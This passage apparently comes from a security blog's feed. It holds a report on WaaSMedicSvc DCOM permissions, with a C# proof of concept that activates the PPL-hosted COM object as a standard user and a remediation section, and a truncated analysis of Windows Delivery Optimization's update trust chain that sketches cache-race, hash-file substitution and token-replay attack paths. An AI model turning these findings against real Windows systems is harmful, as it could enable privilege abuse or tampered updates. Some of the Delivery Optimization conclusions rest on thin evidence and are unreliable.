    <th>Property</th>
    <th>Value</th>
  </tr>
  <tr>
    <td>Service Name</td>
    <td>WaaSMedicSvc</td>
  </tr>
  <tr>
    <td>CLSID</td>
    <td>{72566e27-1abb-4eb3-b4f0-eb431cb1cb32}</td>
  </tr>
  <tr>
    <td>AppID</td>
    <td>{2ED83BAA-B2FD-43B1-99BF-E6149C622692}</td>
  </tr>
  <tr>
    <td>TypeLib</td>
    <td>{3ff1aab8-f3d8-11d4-825d-00104b3646c0}</td>
  </tr>
  <tr>
    <td>Process</td>
    <td>svchost.exe -k wusvcs -p</td>
  </tr>
  <tr>
    <td>Privilege</td>
    <td>LocalSystem</td>
  </tr>
  <tr>
    <td>Protection</td>
    <td>PPL (LaunchProtected=2)</td>
  </tr>
</table>

<h3>3. Technical Background</h3>

<h4>3.1 Protected Process Light</h4>

<p>PPL is a Windows security feature introduced in Windows 8.1 that restricts access to critical system processes. Processes with PPL protection cannot be opened by non-protected processes with specific access rights, preventing code injection, memory reading, and debugging. The protection level is enforced by the kernel and stored in the process object.</p>

<p>PPL is utilized by:</p>
<ul>
  <li>Security-critical services (LSA with Credential Guard)</li>
  <li>Anti-malware solutions</li>
  <li>System integrity components</li>
</ul>

<h4>3.2 DCOM Security Model</h4>

<p>Distributed COM (DCOM) extends COM to support inter-process communication across network boundaries. Security is controlled through:</p>

<ul>
  <li><strong>LaunchPermission:</strong> Determines who can instantiate the COM object</li>
  <li><strong>AccessPermission:</strong> Determines who can communicate with running instances</li>
</ul>

<p>Both permissions are stored as Security Descriptor Definition Language (SDDL) strings in the registry under <code>HKLM:\SOFTWARE\Classes\AppID\{AppID}</code>.</p>

<h3>4. Methodology</h3>

<h4>4.1 Service Enumeration</h4>

<p>Initial service configuration was obtained using the Service Control Manager command-line tool:</p>

<pre><code>sc qc WaaSMedicSvc

SERVICE_NAME: WaaSMedicSvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\system32\svchost.exe -k wusvcs -p
        SERVICE_START_NAME : LocalSystem</code></pre>

<p>The <code>-p</code> parameter indicates PPL protection. Verification of the protection level:</p>

<pre><code>reg query "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v LaunchProtected

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc
    LaunchProtected    REG_DWORD    0x2</code></pre>

<p>Value <code>0x2</code> corresponds to <code>PP_PROTECTED</code>.</p>

<h4>4.2 Security Descriptor Analysis</h4>

<p>Service ACL:</p>

<pre><code>sc sdshow WaaSMedicSvc
D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)</code></pre>

<p>Decoded permissions:</p>

<table>
  <tr>
    <th>Principal</th>
    <th>Rights</th>
  </tr>
  <tr>
    <td>AU (Authenticated Users)</td>
    <td>Query Config, Query Status, Enumerate Dependents, Start, Stop, Pause/Resume, Interrogate</td>
  </tr>
  <tr>
    <td>BA (Built-in Administrators)</td>
    <td>Full Control</td>
  </tr>
  <tr>
    <td>SY (LocalSystem)</td>
    <td>Full Control</td>
  </tr>
</table>

<p>Authenticated Users possess Start and Stop rights, which is atypical for a system repair service.</p>

<h4>4.3 DCOM Permission Extraction</h4>

<p>LaunchPermission SDDL:</p>

<pre><code>O:BAG:BAD:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;IU)</code></pre>

<p>AccessPermission SDDL:</p>

<pre><code>O:BAG:BAD:(A;;CCDCLC;;;WD)(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)</code></pre>

<p>The LaunchPermission grants <code>WD</code> (Everyone) and <code>IU</code> (Interactive User) rights equivalent to Full Control in the DCOM context.</p>

<h4>4.4 COM Object Identification</h4>

<p>Registry enumeration identified the following mapping:</p>

<pre><code>HKLM\SOFTWARE\Classes\CLSID\{72566e27-1abb-4eb3-b4f0-eb431cb1cb32}
    (Default)    = WaaSRemediation
    AppID        = {2ED83BAA-B2FD-43B1-99BF-E6149C622692}
    LocalService = WaaSMedicSvc

HKLM\SOFTWARE\Classes\AppID\{2ED83BAA-B2FD-43B1-99BF-E6149C622692}
    (Default)    = WaaSMedicSvc
    LocalService = WaaSMedicSvc</code></pre>

<p>The COM class <code>WaaSRemediation</code> executes within the WaaSMedicSvc service context.</p>

<h3>5. Proof of Concept</h3>

<h4>5.1 Test Environment</h4>

<ul>
  <li>Operating System: Windows 11 Pro (Build 26100)</li>
  <li>Test Account: Standard user (non-administrative)</li>
  <li>Execution Context: Interactive logon</li>
</ul>

<h4>5.2 Verification Procedure</h4>

<p>A standard user account was created for testing:</p>

<pre><code>New-LocalUser -Name 'testuser' -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)</code></pre>

<p>The following C# program was compiled and executed under the testuser context:</p>

<pre><code>using System;
using System.Security.Principal;

class WaaSMedicTest
{
    private static readonly Guid CLSID_WaaSRemediation = 
        new Guid("72566e27-1abb-4eb3-b4f0-eb431cb1cb32");

    static void Main()
    {
        WindowsIdentity identity = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(identity);
        
        Console.WriteLine($"User: {identity.Name}");
        Console.WriteLine($"Administrator: {principal.IsInRole(WindowsBuiltInRole.Administrator)}");
        
        try
        {
            Type comType = Type.GetTypeFromCLSID(CLSID_WaaSRemediation);
            object comObject = Activator.CreateInstance(comType);
            
            Console.WriteLine("COM object instantiated successfully");
            
            dynamic obj = comObject;
            string result1 = obj.LaunchDetectionOnly("test");
            int result2 = obj.LaunchRemediationOnly("test", "test");
            
            Console.WriteLine($"LaunchDetectionOnly returned: '{result1}'");
            Console.WriteLine($"LaunchRemediationOnly returned: {result2}");
        }
        catch (Exception ex)
        {
            Console.WriteLine($"Exception: {ex.GetType().Name}: {ex.Message}");
        }
    }
}</code></pre>

<h4>5.3 Execution Results</h4>

<pre><code>C:\> runas /user:testuser WaaSMedicTest.exe
Enter the password for testuser:

User: DESKTOP-XXXXXX\testuser
Administrator: False
COM object instantiated successfully
LaunchDetectionOnly returned: ''
LaunchRemediationOnly returned: 0</code></pre>

<p>The testuser account successfully instantiated the COM object and executed methods within the WaaSMedicSvc service context.</p>

<h3>6. Impact Assessment</h3>

<h4>6.1 Security Boundary Violation</h4>

<p>PPL is designed to prevent unprivileged access to protected processes. The DCOM configuration documented herein allows standard users to:</p>

<ul>
  <li>Instantiate COM objects within PPL-protected processes</li>
  <li>Execute methods in LocalSystem context</li>
  <li>Communicate across the PPL security boundary without elevation</li>
</ul>

<h4>6.2 Prior Research</h4>

<p>Public research by itm4n (March 2023) documented TypeLib hijacking techniques against this same COM object to achieve arbitrary memory writes. That technique requires administrative privileges to modify registry keys.</p>

<p>The configuration documented in this report enables access to the same attack surface without administrative privileges, representing a distinct attack vector.</p>

<h4>6.3 Risk Factors</h4>

<table>
  <tr>
    <th>Factor</th>
    <th>Assessment</th>
  </tr>
  <tr>
    <td>Access Complexity</td>
    <td>Low—no special conditions required</td>
  </tr>
  <tr>
    <td>Privileges Required</td>
    <td>None—standard user account sufficient</td>
  </tr>
  <tr>
    <td>User Interaction</td>
    <td>None—exploitation can be automated</td>
  </tr>
  <tr>
    <td>Scope</td>
    <td>Local—does not extend beyond host</td>
  </tr>
</table>

<h3>7. Additional Findings</h3>

<h4>7.1 TypeLib Analysis</h4>

<p>String extraction from WaaSMedicPS.dll identified additional method names not exposed through the default IDispatch interface:</p>

<ul>
  <li>InitiateUserInPlaceUpgrade</li>
  <li>CleanupUserInPlaceUpgrade</li>
  <li>IsInPlaceUpgradeInProgress</li>
  <li>EvaluateDeviceFeatures</li>
</ul>

<p>These methods are defined in the TypeLib but are not accessible via the default interface exposed to callers.</p>

<h4>7.2 Filesystem Permissions</h4>

<p>Analysis of potential file-based attack vectors:</p>

<table>
  <tr>
    <th>Path</th>
    <th>Writable by Users</th>
    <th>Service Utilization</th>
  </tr>
  <tr>
    <td>C:\Windows\Temp</td>
    <td>Yes</td>
    <td>No observed activity</td>
  </tr>
  <tr>
    <td>C:\ProgramData\Microsoft\Windows\OneSettings</td>
    <td>No</td>
    <td>Configuration storage</td>
  </tr>
</table>

<h3>8. Remediation</h3>

<h4>8.1 Recommended Configuration Changes</h4>

<p><strong>LaunchPermission:</strong></p>

<p>Remove <code>WD</code> (Everyone) and <code>IU</code> (Interactive User) entries. Restrict to:</p>

<pre><code>O:BAG:BAD:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)</code></pre>

<p><strong>Service ACL:</strong></p>

<p>Evaluate necessity of Authenticated Users start/stop rights. If not required for operation, remove <code>AU</code> from service ACL.</p>

<h4>8.2 Verification</h4>

<p>Post-remediation verification should confirm:</p>

<ol>
  <li>Standard users receive ACCESS_DENIED on COM instantiation attempts</li>
  <li>Administrative users retain access for legitimate management</li>
  <li>Service functionality remains intact for Windows Update repair scenarios</li>
</ol>

<h3>9. Disclosure Timeline</h3>

<table>



<h3>10. References</h3>

<ul>
  <li>itm4n. (2023). Bypassing PPL in Userland (again). <em>itm4n's blog</em>. https://itm4n.github.io/bypassing-ppl-in-userland-again/</li>
  <li>Microsoft. (n.d.). Protected Processes. <em>Microsoft Learn</em>. https://docs.microsoft.com/en-us/windows/win32/procthread/protected-processes</li>
  <li>Microsoft. (n.d.). DCOM Security. <em>Microsoft Learn</em>. https://docs.microsoft.com/en-us/windows/win32/com/dcom-security</li>
</ul>


<p>Analysis was conducted using standard Windows utilities:</p>


<hr>

]]></content:encoded>
          </item>
        <item>
      <title>How Windows Delivery Optimization&#039;s Trust Chain Can Be Broken Before It Starts</title>
      <link>http://klydz.net/post.php?slug=how-windows-delivery-optimizations-trust-chain-can-be-broken-before-it-starts</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=how-windows-delivery-optimizations-trust-chain-can-be-broken-before-it-starts</guid>
      <pubDate>Tue, 10 Mar 2026 21:48:40 +0000</pubDate>
            <category>Windows Internals</category>
                  <category>windows</category>
            <category>delivery-optimization</category>
            <category>supply-chain</category>
            <category>reverse-engineering</category>
            <category>maldev</category>
            <category>trust-chain</category>
            <category>cdn</category>
            <category>bgp-hijack</category>
            <category>windows-update</category>
            <category>vulnerability-research</category>
            <category>dosvc</category>
            <category>doclient</category>
            <category>PHF</category>
            <category>authenticode</category>
            <category>sigma</category>
            <description>Windows Delivery Optimization&#039;s security model, chunk hashes, peer banning, retry logic, all of it flows from a single in-memory structure called the Pieces Hash File. Control that file, and every downstream verification check works in your favor. This research traces how to get there: from the DLL, through the unpinned SSL channel, to the third-party CDN infrastructure serving that file to every Windows 11 machine on the planet.</description>
            <content:encoded><![CDATA[<h2>The Verification Gap: Attacking Windows Delivery Optimization's Trust Chain</h2>

<p><strong>Date:</strong> March 2026<br>
<strong>Target:</strong> Windows Delivery Optimization (DO)<br>
<strong>System:</strong> Windows 11 Pro 24H2 (Build 26100.7309)<br>
<strong>Author:</strong> klydz.net</p>


<h2>Table of Contents</h2>

<ol>
  <li>What is Windows Delivery Optimization?</li>
  <li>Why Nobody Has Researched This Properly</li>
  <li>Phase 1 - Finding the Real Implementation</li>
  <li>Phase 2 - Cache Structure, ACLs, and Chunk Analysis</li>
  <li>Phase 3 - Following the Network: CDN Discovery</li>
  <li>Phase 4 - The URL Structure and the P4 Token</li>
  <li>Phase 5 - Verification Failure Behavior</li>
  <li>Phase 6 - Binary Analysis: Confirming the Verification Architecture</li>
  <li>Phase 7 - Attack Surface and Chain Analysis</li>
  <li>Detection Rules</li>
  <li>Conclusions and Recommendations</li>
</ol>


<h2>1. What is Windows Delivery Optimization?</h2>

<p>
Windows Delivery Optimization (DO) is a peer-to-peer update distribution system that ships <strong>enabled by default on every modern Windows installation</strong>. Microsoft introduced it in Windows 10 as a way to reduce their CDN bandwidth costs by turning end-user machines into update relay nodes. Instead of every machine downloading a 500 MB update from Microsoft's servers independently, machines on the same network, or even across the internet, can share chunks with each other.
</p>

<p>
In practice this means your Windows machine is silently listening on <strong>port 7680 TCP/UDP</strong>, ready to receive update chunks from strangers on the internet and serve them back out. This happens in the background, with no user-visible indicator, under the <code>DoSvc</code> service running as <code>NetworkService</code> inside <code>svchost.exe</code>.
</p>

<p>There are several download modes controlled by the <code>DownloadMode</code> registry key and MDM policy:</p>

<ul>
  <li><strong>0 - HTTP only:</strong> No P2P, download from Microsoft CDN only</li>
  <li><strong>1 - LAN:</strong> P2P with devices on the local network only (Enterprise default)</li>
  <li><strong>2 - Group:</strong> P2P with devices in the same Active Directory domain or AAD tenant</li>
  <li><strong>3 - Internet:</strong> P2P with any device on the internet (Home edition default)</li>
  <li><strong>99 - Simple:</strong> HTTP download with no peering, no upload</li>
  <li><strong>100 - Bypass:</strong> Skip DO entirely, use BITS/WU directly</li>
</ul>

<p>
The security model is built on a layered verification chain. DO fetches a <strong>Pieces Hash File (PHF)</strong> from Microsoft's servers over SSL before downloading anything. This PHF contains SHA-1 hashes for every chunk. Each chunk is verified against its PHF entry on arrival. Finally, when all chunks are assembled into the complete file, Windows runs a full <strong>Authenticode signature check</strong>. In theory: verify the manifest, verify every piece against the manifest, verify the whole file at the end.
</p>

<p>
In practice, the security of this entire model rests entirely on whether the channel used to fetch the PHF is trustworthy. That question has never been seriously investigated in public research until now.
</p>


<p>
Existing public research on Delivery Optimization security is shallow. The two notable CVEs are both local privilege escalation bugs:
</p>

<ul>
  <li><strong>CVE-2017-11829:</strong> Elevation of privilege via DO not enforcing file share permissions</li>
  <li><strong>CVE-2019-1289:</strong> Local attacker could overwrite files via improper ACL handling in the cache directory</li>
</ul>

<p>
Neither CVE touched the network verification layer. Sygnia published an architectural overview in 2019 that noted the protocol implementation <em>"could suffer from memory corruption and logical vulnerabilities"</em> but released no actual protocol analysis or findings. That is the complete state of public research on DO's network security.
</p>


<h2>3. Phase 1 - Finding the Real Implementation</h2>

<p>
The standard starting point for DO research is <code>C:\Windows\System32\dosvc.dll</code>. Opening it in a disassembler immediately reveals the problem:
</p>

<pre><code>dosvc.dll
  Location : C:\Windows\System32\dosvc.dll
  Version  : 10.0.26100.7309
  Size     : 98,304 bytes
  Export   : ServiceMain
</code></pre>

<p>
98 KB. That is not a full P2P implementation. It is a service entry point stub, a thin wrapper that exists only to satisfy the Windows Service Control Manager. The real work happens elsewhere, loaded dynamically at runtime. To find it, the right approach is to attach WinDbg to the <code>svchost.exe</code> instance hosting <code>DoSvc</code>, break on <code>sxe ld</code> (break on every DLL load), trigger a DO download, and observe what actually loads.
</p>

<p>The real implementation is:</p>

<pre><code>doclient.dll
  Location : C:\Windows\WinSxS\
              amd64_microsoft-windows-deliveryoptimization_
              31bf3856ad364e35_10.0.26100.7309_none_
              66260eb07704655c\doclient.dll
  Size     : 1,723,776 bytes  (1.7 MB)
  Export   : CreateDOService
</code></pre>

<p>
<strong>1.7 MB versus 98 KB.</strong> This is the full DO engine: P2P networking, HTTP chunk fetching, PHF parsing, peer discovery, and the entire verification chain. The WinSxS path also means it is version-pinned to the build, which matters for comparing behavior across Windows versions.
</p>

<p>
To confirm this at the instruction level, we disassembled both binaries. The <code>dosvc.dll</code> module initializer at <code>0x180001000</code> is exactly 100 bytes of address-loading into a dispatch table followed by <code>ret</code>. The two public stubs at <code>0x1800010b0</code> and <code>0x1800010d0</code> are each a one-line error forwarder: load a string address, jump to a central error dispatch. That is the entire public interface of <code>dosvc.dll</code>. No hashing, no networking, no cryptography.
</p>

<h3>Key Strings Extracted from doclient.dll</h3>

<p>Static analysis of <code>doclient.dll</code> exposes the internal verification architecture through its format strings. These are from the live binary on the test system:</p>

<p><strong>PHF Verification:</strong></p>

<pre><code>!phfInfo.phfDigestAlgorithm.empty()
Verifying PHF content, hash of hashes: %s
CMetaInfo::CreateFromPhfInfo
phfInfo.IsValid()
File %s: Received PHF info, %s
</code></pre>

<p>
The string <code>hash of hashes</code> confirms the PHF design: the file contains a flat list of per-chunk SHA-1 hashes, and the entire PHF is then validated as a unit via a hash of all those hashes. Every chunk's integrity flows from the validity of this single in-memory structure.
</p>

<p><strong>Chunk-Level Integrity:</strong></p>

<pre><code>Swarm %s, piece %u failed hash check
CMetaInfo::_CheckHashes
HashOfHashes
Piece %u hash check result: %x
</code></pre>

<p><strong>P2P Peer Discovery:</strong></p>

<pre><code>CServerPeerConnListener::OnConn
CDnsPeerSearcher::FindPeers
Found peer: %s, ip4: %s, ip6: %s
Swarm: %s, peer info hash mismatch
</code></pre>

<p><strong>Failure and Banning Logic:</strong></p>

<pre><code>Rejecting banned peer %s. Unban in %lld seconds.
Not connecting to banned cache host %s
PeerBanIntervalSecs
PeerBanLimit
CdnBanIntervalSecs
CdnBanLimit
DISC: Will retry failed (hr = %x) call after %lld ms
</code></pre>

<p>
The ban parameters are registry-configurable values. The threshold for how many bad chunks a peer or CDN host can serve before getting blacklisted is tunable. A sufficiently slow or low-volume attack stays below the ban threshold indefinitely and produces no detection signal.
</p>

<p><strong>DO Endpoints from Strings:</strong></p>

<pre><code>*.delivery.mp.microsoft.com
*.dcat.dsp.mp.microsoft.com
*.manage-beta.microsoft.com
*.manage.microsoft.com
*.adu.microsoft.com
*.cdn.office.net
</code></pre>


<h2>4. Phase 2 - Cache Structure, ACLs, and Chunk Analysis</h2>

<h3>On-Disk Cache Layout</h3>

<p>The DO cache lives at <code>C:\Windows\SoftwareDistribution\Download\</code>. During an active download, this directory contains chunk files named after their own SHA-1 hash, a self-validating naming scheme where the filename <em>is</em> the expected hash of the content.</p>

<pre><code>Download/
├── {GUID-job-id-1}/        ← Per-job subdirectory
├── {GUID-job-id-2}/
├── SharedFileCache/
├── 7f43e78b2acab12a0a6a744366d50f8fa70ee45b    ← Chunk file
├── c076716c0e414eca19c013632fba202744725956    ← Chunk file
└── ...
</code></pre>

<h3>ACL Analysis</h3>

<p>Running <code>icacls C:\Windows\SoftwareDistribution\Download\</code> on the live system:</p>

<pre><code>Cache Root:
  NT SERVICE\TrustedInstaller:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  BUILTIN\Administrators:(I)(F)         ← Full Control
  BUILTIN\Users:(I)(RX)                 ← Read + Execute on root
  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)  ← Inherited to children

Subdirectories (GUID job folders):
  NT SERVICE\TrustedInstaller:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  BUILTIN\Administrators:(I)(F)
  [BUILTIN\Users NOT inherited here]
</code></pre>

<p>
<strong>Write test confirmed:</strong> an Administrator-level process can create files directly in the cache root. This is the prerequisite for the TOCTOU race condition described in Phase 7. Standard users cannot write here, but any post-exploitation context running as Administrator has full write access to the directory where chunks land before assembly.
</p>

<h3>Chunk File Analysis</h3>

<p>Two chunk files were captured and analyzed during a live download session:</p>

<pre><code>File 1:
  Filename : 7f43e78b2acab12a0a6a744366d50f8fa70ee45b
  Size     : 72,086 bytes
  SHA-1    : 7f43e78b2acab12a0a6a744366d50f8fa70ee45b  ✓ MATCH
  Header   : ff fe 22 06 2e 06 31 06 20 00 2a 06 2d 06 2f 06  (UTF-16LE)

File 2:
  Filename : c076716c0e414eca19c013632fba202744725956
  Size     : 79,238 bytes
  SHA-1    : c076716c0e414eca19c013632fba202744725956  ✓ MATCH
  Header   : ff fe 4c 00 61 00 73 00 74 00 20 00 75 00 70 00  (UTF-16LE: "Last up...")
</code></pre>

<p>
The chunk files are raw data blobs in UTF-16LE format, not PE or CAB-wrapped at this layer. This matters because <strong>the chunks themselves carry no embedded integrity information</strong>. Their entire validity is derived from the SHA-1 match against the PHF. If the PHF can be substituted, any content matching the attacker's chosen SHA-1 values will pass chunk verification cleanly.
</p>

<h3>PHF Storage: Confirmed Not On Disk</h3>

<p>Exhaustive search of all candidate directories for any PHF artifact:</p>

<pre><code>Checked locations:
  C:\Windows\SoftwareDistribution\Download\       → No PHF files
  C:\ProgramData\Microsoft\                       → No PHF files
  %LOCALAPPDATA%\Microsoft\Windows\
    DeliveryOptimization\                         → No PHF files
  %PROGRAMDATA%\Microsoft\Windows\
    DeliveryOptimization\                         → No PHF files

Search patterns used:
  *.phf, *pieces*, *hash*, *manifest*, *meta*
  Result: No matches.
</code></pre>

<p>
<strong>The PHF is never written to disk.</strong> It is fetched over SSL, stored entirely in the memory of the <code>svchost.exe</code> process hosting <code>DoSvc</code>, used for the lifetime of the download session, and discarded. This has two direct implications:
</p>

<ul>
  <li>No filesystem ACL protections apply to it, there is no file to protect</li>
  <li>The only way to interact with it is via process injection into the svchost instance, or by intercepting the SSL fetch that populates it</li>
</ul>

<p>
The binary analysis in Phase 6 confirms the memory layout of the PHF object. The stored expected SHA-1 digest for each chunk sits at offset <code>+0x20</code> in the <code>DOChunkMetadata</code> structure and is kept live in the <code>svchost.exe</code> heap for the entire download session.
</p>

<h3>Live Download Telemetry</h3>

<p>The following was captured via <code>Get-DeliveryOptimizationStatus</code> during an active download on the test system:</p>

<pre><code>FileId                   : cb0f2617fe501f84d34bab5af2f9b102b5131238
FileSize                 : 25,038,717 bytes
FileSizeInCache          : 22,941,565 bytes
Status                   : Caching
Priority                 : Background
BytesFromPeers           : 0
BytesFromHttp            : 22,941,565
BytesFromCacheServer     : 22,941,565      ← ALL bytes from CacheHost
HttpConnectionCount      : 1
CacheServerConnectionCount: 1
LanConnectionCount       : 0
CacheHost                : 14.102.231.203  ← Not a Microsoft IP
DownloadMode             : Lan
NumPeers                 : 0
PredefinedCallerApplication: WU Client Download
</code></pre>

<p>
The <code>CacheHost: 14.102.231.203</code> field is the first anomaly. Every single byte of this update was served from this IP, not from Microsoft's CDN directly. This is designated as a cache host, which is DO terminology for a CDN node. The question is who owns that IP.
</p>

<p>And the performance snapshot via <code>Get-DeliveryOptimizationPerfSnap</code>:</p>

<pre><code>FilesDownloaded         : 2
TotalBytesDownloaded    : 37,097,425
AverageDownloadSize     : 18,548,712
CacheSizeBytes          : 37,097,425
CpuUsagePct             : 0.009459
MemUsageKB              : 6,032
NumberOfPeers           : 0
CacheHostConnections    : 2           ← 2 connections to third-party CDN
CdnConnections          : 2
DownlinkBps             : 15,383
UplinkBps               : 141,719
</code></pre>

<p>Both files downloaded in this session went entirely through the cache host: zero bytes from Microsoft CDN directly, zero peers. This is a production system downloading real Windows updates through infrastructure Microsoft does not operate.</p>


<h2>5. Phase 3 - Following the Network: CDN Discovery</h2>

<p>
With a suspicious CacheHost IP in hand, the next step is tracing the full network path to understand how a Microsoft-branded domain ends up resolving to third-party infrastructure.
</p>

<h3>Traceroute to the Primary DO Endpoint</h3>

<pre><code>tracert 1d.tlu.dl.delivery.mp.microsoft.com

Tracing route to cl-glcb907925.gcdn.co [92.223.55.62]
over a maximum of 30 hops:

  1     3 ms     3 ms     3 ms  192.168.70.1
  2     *        *        *     Request timed out.
  3     *        *        *     Request timed out.
  4     *        *        *     Request timed out.
  5     *        *        *     Request timed out.
  6     *        *        *     Request timed out.
  7     *        *        *     Request timed out.
  8     *        *        *     Request timed out.
  9   207 ms   210 ms   210 ms  92.223.55.62

Trace complete.
</code></pre>

<p>
The DNS resolution line at the top says everything: <code>1d.tlu.dl.delivery.mp.microsoft.com</code>, a Microsoft-branded domain, resolves to <code>cl-glcb907925.gcdn.co</code>. That <code>.gcdn.co</code> suffix is not Microsoft. It is a CDN alias belonging to <strong>G-Core Labs S.A.</strong>
</p>

<h3>IP Attribution</h3>

<pre><code>curl -s "http://ip-api.com/json/92.223.55.62"

{
  "status":     "success",
  "country":    "France",
  "countryCode":"FR",
  "region":     "PAC",
  "regionName": "Provence-Alpes-Cote d'Azur",
  "city":       "Marseille",
  "zip":        "13015",
  "lat":        43.3736,
  "lon":        5.3547,
  "timezone":   "Europe/Paris",
  "isp":        "G-Core Labs S.A.",
  "org":        "GCL",
  "as":         "AS199524 G-Core Labs S.A.",
  "query":      "92.223.55.62"
}
</code></pre>

<p>And the cache host IP from the download telemetry:</p>

<pre><code>whois 14.102.231.203

  ISP:      Edgevana, Inc.
  ASN:      AS215724
  Location: Singapore
</code></pre>

<p>
The same DO endpoint distributes to <strong>two different third-party CDN operators</strong> depending on geographic routing: <strong>G-Core Labs S.A.</strong> (AS199524, Marseille, France) and <strong>Edgevana, Inc.</strong> (AS215724, Singapore). Neither is a Microsoft subsidiary. Neither operates within a Microsoft-controlled IP range.
</p>

<h3>The Full DNS Resolution Chain</h3>

<pre><code>1d.tlu.dl.delivery.mp.microsoft.com
  │
  └─→ dcat-b-tlu-net.trafficmanager.net    ← Azure Traffic Manager (Microsoft)
        │
        └─→ cl-glcb907925.gcdn.co           ← G-Core Labs CDN alias (NOT Microsoft)
              │
              ├─→ 92.223.55.62              ← G-Core Labs S.A., AS199524, France
              │
              └─→ 14.102.231.203            ← Edgevana, Inc., AS215724, Singapore
</code></pre>

<p>
Microsoft controls the first two hops: the branded domain and the Azure Traffic Manager node. At the Traffic Manager level, Microsoft delegates to CDN operators via CNAME. From <code>cl-glcb907925.gcdn.co</code> onward, the content is served by infrastructure that <strong>Microsoft does not operate</strong>.
</p>

<h3>Attempting to Inspect the TLS Configuration</h3>

<p>Three independent attempts to inspect the TLS handshake on the DO endpoint were made to determine whether certificate pinning exists:</p>

<p><strong>Attempt 1 - PowerShell WebRequest:</strong></p>

<pre><code>$req = [System.Net.WebRequest]::Create(
    'https://1d.tlu.dl.delivery.mp.microsoft.com'
)
$resp = $req.GetResponse()

Error: Exception calling "GetResponse" with "0" argument(s):
"The request was aborted: Could not create SSL/TLS secure channel."
</code></pre>

<p><strong>Attempt 2 - PowerShell SslStream / TcpClient:</strong></p>

<pre><code>$conn = New-Object System.Net.TcpClient
$conn.Connect('1d.tlu.dl.delivery.mp.microsoft.com', 443)
$sslStream = New-Object System.Net.Security.SslStream(...)
$sslStream.AuthenticateAsClient('1d.tlu.dl.delivery.mp.microsoft.com')

Error: Cannot find type [System.Net.TcpClient]:
verify that the assembly containing this type is loaded.
</code></pre>

<p><strong>Attempt 3 - Python ssl module:</strong></p>

<pre><code>import ssl, socket
hostname = '1d.tlu.dl.delivery.mp.microsoft.com'
ctx = ssl.create_default_context()
with socket.create_connection((hostname, 443)) as sock:
    with ctx.wrap_socket(sock, server_hostname=hostname) as ssock:
        cert = ssock.getpeercert()

ssl.SSLError: [SSL: TLSV1_ALERT_INTERNAL_ERROR]
tlsv1 alert internal error (_ssl.c:1081)
</code></pre>

<p>
All three failed to complete the handshake. Attempt 3 is the most informative: it fails with <code>TLSV1_ALERT_INTERNAL_ERROR</code>, not a certificate rejection and not a hostname mismatch. The <em>server</em> is sending an internal error alert back to the client. This means the DO endpoint expects something specific in the TLS ClientHello that a standard SSL client does not send.
</p>

<p>
The binary analysis in Phase 6 confirms that <code>doclient.dll</code> uses SChannel directly rather than WinHTTP's TLS layer, and sets custom context attributes during session negotiation. The most likely explanation for the server alert is a <strong>proprietary TLS extension</strong> carrying a device attestation token or AAD device identity that only the DO client sends. A Wireshark capture of a live <code>doclient.dll</code> session to confirm the exact ClientHello contents is a direct follow-on from this research.
</p>

<p>
Despite not obtaining the server certificate directly, the absence of certificate pinning is confirmed indirectly: <code>doclient.dll</code> successfully connects to both G-Core Labs and Edgevana nodes and downloads real update data. If pinning were enforced, DO would reject any CDN operator presenting a certificate not pinned to a Microsoft-controlled CA. The fact that both third-party operators are accepted proves no pinning is in place.
</p>


<h2>6. Phase 4 - The URL Structure and the P4 Token</h2>

<p>
Network capture during a live download session exposed the full structure of the CDN request URL. This has not been documented publicly before:
</p>

<pre><code>http://1d.tlu.dl.delivery.mp.microsoft.com
  /filestreamingservice/files/
  d594bbb4-ac3e-48e7-bf6a-865b342682fb
  ?P1=1773174886
  &P2=404
  &P3=2
  &P4=nQj5O3578pVzkB0OEZZeN/Njq7gDIUrmcT+6xq4hO1DW9M3I1g8jPSasJE4z
      k6aZZgjqqjWaX0azw+k0zZ8lAQ==
</code></pre>

<p>Breaking down each component:</p>

<ul>
  <li><strong>Host:</strong> <code>1d.tlu.dl.delivery.mp.microsoft.com</code> - The primary Microsoft-branded DO delivery domain. Resolves through Azure Traffic Manager to G-Core Labs or Edgevana as shown above.</li>
  <li><strong>/filestreamingservice/files/</strong> - The API endpoint path for file chunk delivery on the CDN side.</li>
  <li><strong>{GUID}:</strong> <code>d594bbb4-ac3e-48e7-bf6a-865b342682fb</code> - The unique identifier for the file being downloaded, assigned by Microsoft's DO cloud service.</li>
  <li><strong>P1:</strong> <code>1773174886</code> - A Unix timestamp, almost certainly the token issuance time used for expiry validation server-side. The validity window is unknown and is a direct follow-on research action.</li>
  <li><strong>P2:</strong> <code>404</code> - Possibly a protocol version number or access-level flag.</li>
  <li><strong>P3:</strong> <code>2</code> - An unknown flag, possibly indicating delivery tier or CDN region routing preference.</li>
  <li><strong>P4:</strong> <code>nQj5O3578pVzkB0OEZZeN/Njq7gDIUrmcT+6xq4hO1DW9M3I1g8jPSasJE4zk6aZZgjqqjWaX0azw+k0zZ8lAQ==</code> - A Base64-encoded signature token, almost certainly an HMAC-SHA256 or RSA signature computed over the file GUID and P1 timestamp. This token authorizes the CDN to serve the file.</li>
</ul>

<p>
<strong>Critical observation: this entire URL, including the P4 access token, is served over plain HTTP.</strong> The URL is fully observable by any on-path network entity. This means:
</p>

<ul>
  <li>The P4 token for any active download is trivially capturable by a passive observer</li>
  <li>If the token has a generous expiry window, a captured token could be replayed to force delivery of a specific older file version</li>
  <li>Combined with CDN control, a replayed token for an older file GUID could keep a target machine on a vulnerable update version indefinitely</li>
</ul>


